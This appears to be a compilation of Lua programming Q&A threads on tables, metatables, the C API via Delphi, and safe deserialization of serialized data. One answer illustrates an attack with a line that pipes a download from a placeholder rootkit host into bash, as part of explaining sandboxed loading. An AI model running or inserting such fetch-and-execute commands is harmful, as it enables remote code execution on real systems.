I'm confused by how Lua properties are working in some of the code I'm trying to maintain. I've spent a good amount of time in the Lua documentation before this. So...
There is a function in one of those Lua tables, like this (we'll call this the 'nested tables' example):
function addItem(item)
index = itemTable.getIndex(item.position[1], item.position[2])
itemTable.items[index] = item
end;
a = Xpl3dSwitch { position = { 27, 0, 1, 1} }
itemTable.addItem(a) --doesn't seem to 'register' the position property
whereas
a = Xpl3dSwitch { }
a.position[0] = 27
a.position[1] = 0
itemTable.addItem(a) --this 'registers' the position properties
...etc, seems to work. Why are the position tables not sticking in the 'nested table' example?
Also, regarding 'a = Xpl3dSwitch { }' - is it an object constructor? It's not clear from the Lua 'documentation' what this is.
Look inside the table a and compare them. That should point you in the direction where the error happens.
to look inside a use something like:
function getTableContent(tab, str)
str = str or "table"
for i, v in pairs(tab) do
if type(v) == "table" and v ~= _G then
str = str.."->"..tostring(i)
getTableContent(v, str)
else
print(str.." Index: "..tostring(i).." Value: "..tostring(v))
end
end
end
getTableContent(a)
io.read()
Once you know how the working and the not working one are structured you should be able to make the adjustments needed.
Edit:
Also you could use:
a = Xpl3dSwitch { }
a.position = {27, 0, 1, 1}
Related
I'm looking for a way to retrive index value via metatable. This is my attempt:
local mt = { __index =
{
index = function(t, value)
local value = 0
for k, entry in ipairs(t) do
if (entry == value) then
value = k
end
end
return value
end
}
}
t = {
"foo", "bar"
}
setmetatable(t,mt)
print(t.index(t,"foo"))
Result is 0 instead of 1. Where I'm wrong?
My attempt:
local mt = {
__index = function(t,value)
for index, val in pairs(t) do
if value == val then
return index
end
end
end
}
t = {
"foo",
"bar",
"aaa",
"bbb",
"aaa"
}
setmetatable(t,mt)
print(t["aaa"]) -- 3
print(t["asd"]) -- nil
print(t["bbb"]) -- 4
print(t["aaa"]) -- 3
print(t["bar"]) -- 2
print(t["foo"]) -- 1
Result is 0 instead of 1. Where [am I] wrong?
The code for the index function is wrong; the problem is not related to the (correct) metatable usage. You're shadowing the parameter value when you declare local value = 0. Subsequent entry == value comparisons yield false as the strings don't equal 0. Rename either the parameter or the local variable:
index = function(t, value)
local res = 0
for k, entry in ipairs(t) do
if entry == value then
res = k
end
end
return res
end
An early return instead of using a local variable in the first place works as well and helps improve performance.
To prevent such errors from happening again, consider getting a linter like Luacheck, which will warn you if you shadow variables. Some editors support Luacheck out of the box; otherwise there are usually decent plugins available.
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.
I have a table in a lua file.
This is the table:
main = {}
main["first"] = {
{name = "sammy", type = "dog", age = 2, color = "blue"},
{name = "tom", type = "cat", age = 3, color = "orange"},
.
.
.
.
}
main["second"] = {
{name = "grim", type = "cow", age = 1, color = "green"},
{name = "jerry", type = "horse", age = 2, color = "grey"},
.
.
.
.
}
The table has two tables. I want to read all tables in main. So I wrote this code. (I use delphi. plua_state means pointer of lua_state)
This is my code:
procedure TForm1.PrintTable(l: Plua_State);
var
TempStr : String;
begin
lua_pushnil(l);
TempStr := '';
while lua_next(l,-2) <> 0 do
begin
case lua_type(l,-1) of
LUA_TTABLE :
PrintTable(l);
else
TempStr := TempStr + lual_checkstring(L, -2) + '='
+ lua_typename(L, lua_type(L, -1)) + ',';
end;
lua_pop(l,1);
end;
fStringList.Add(TempStr);
end;
This code prints the key and value type in the main table.However, If I change lua_typename(L, lua_type(L, -1)) to lual_checkstring(L, -1), It does not work. I want to print the key and value.
How can I print the value?
You must be careful when using lua_next as several string API functions will alter the value on the stack which confuses lua_next. From the manual:
While traversing a table, do not call lua_tolstring directly on a key, unless you know that the key is actually a string. Recall that lua_tolstring may change the value at the given index; this confuses the next call to lua_next.
So, calling lua_tostring, lua_tolstring, or luaL_checklstring on a key pushed by lua_next will change the key into a string.
As you have discovered it is best to use lua_type to make sure the value is indeed a string before calling lua_tolstring (or any API function that calls it), or push a copy of the key which can be popped leaving the original key returned by lua_next unmodified.
In real project, TEST_TABLE would contain much of TEST_TABLE_NESTED, each with its own testVariable and bunch of testScript. test function from testScript would be used in C++ code, and TEST_TABLE_NESTED tables would be added automatically from C++ code too.
TEST_TABLE =
{
TEST_TABLE_NESTED =
{
testVariable = 5,
testScript =
{
test = function()
print(testVariable, "hello") --How to access 'testVariable'?
end
}
}
}
EDIT :
This is the actual scenario of using this script:
GameObjectScriptTables =
{
GameObject_1 = --Container of scripts corresponding to some gameObject
{
gameObjectOwner = actual_object_passed_from_c++, --This is an actual object passed from c++
GameObjectScript_1 = --This is a script with update(dt) method which will be called somwhere in c++ code
{
update = function(dt)
--here I want to use some data from gameObjectOwner like position or velocity
end
}
}
GameObject_2 =
{
gameObjectOwner = actual_object_passed_from_c++,
GameObjectScript_1 =
{
update = function(dt)
--here I want to use some data from gameObjectOwner like position or velocity
end
},
GameObjectScript_2 =
{
update = function(dt)
--here I want to use some data from gameObjectOwner like position or velocity
end
}
}
--And so on
}
Idea is that exists some testVariable object (passed from C++), which data is used all over TEST_TABLE_NESTED. For me, above example looks natural for this task, but it prints nil instead of 5. So how to acces a testVariable from testScript without printing a full path like TEST_TABLE.TEST_TABLE_NESTED.testVariable?
You're asking for something like a "parent" pointer, which tells table B about table A, but that doesn't exist. Internally, the only association they have is that one of A's values happens to be B, but any number of tables could contain B as a value. Which is B's parent?
If you want B to know about A, you'll need to tell it. You can add an extra parameter to update which receives the game owner object, or update can be a closure which contains the game owner as a bound variable, so on and so forth.
I made it work by providing a gameObjectOwner instance for each GameObjectScript_N. However I don't know is it expensive solution or not.
So, I'm trying to write a simple class in Lua for representing CSV fields:
csv_entry = {}
csv_entry.__index = csv_entry
function csv_entry.create(...)
return arg
end
function csv_entry:tostring()
local str = string.char()
for i,v in ipairs(self) do
if i < #self then
str = str .. v
else
str = str .. v .. ", "
end
end
end
function csv_entry:print()
print(self:tostring())
end
But when I try to use this class like this:
c = csv_entry.create("Volvo", 10000, "Eric")
c:print() -- line 25
I get the error message
lua: csv.lua:25: attempt to call method 'print' (a nil value)
And I can't really figure out the issue here. What am I doing wrong?
You probably meant to do is this:
function csv_entry.create(...)
return setmetatable(arg, csv_entry)
end
Your posted version of cvs_entry.create just returns it's arguments packed into a table, so this code:
c = csv_entry.create("Volvo", 10000, "Eric")
c:print()
Is exactly equivalent to this code:
c = {"Volvo", 10000, "Eric"}
c:print()
c doesn't contain a print entry, so c.print returns nil and c:print() fails because you're trying to "call" nil.
Side note: the implicit arg parameter to variadic functions was removed in Lua 5.1 (6 years ago). The correct way to do this now is:
function csv_entry.create(...)
local arg = {...}
return setmetatable(arg, csv_entry)
end
Or simply:
function csv_entry.create(...)
return setmetatable({...}, csv_entry)
end
As long as we're here: you're going to get no output from csv_entry:tostring because it doesn't return anything. Also, if all you're trying to do is to concatenate a bunch of items with comma separators, you can use table.concat:
function csv_entry:tostring()
return table.concat(self, ', ')
end
I rewrite your code to meet what it is for, it runs OK for me:
csv_entry = {}
function csv_entry:create(...)
o = {content = {}}
self.__index = self;
setmetatable(o, self)
for i = 1, arg.n do
o.content[i] = arg[i];
end
return o;
end
function csv_entry:tostring()
local resStr = ""
for i, v in pairs(self.content) do
resStr = resStr .. v;
if i < #(self.content) then
resStr = resStr .. ", "
end
end
return resStr;
end
function csv_entry:print()
print(self:tostring())
end
c = csv_entry:create("Volvo", 10000, "Eric")
c:print()
Like #Mud said, the create(...) in your code is just a regular call and returns all arguments from ..., if you want csv_entry works like a class, then you have to put codes which set metatable and __index into create(...), and return an instance from csv_entry class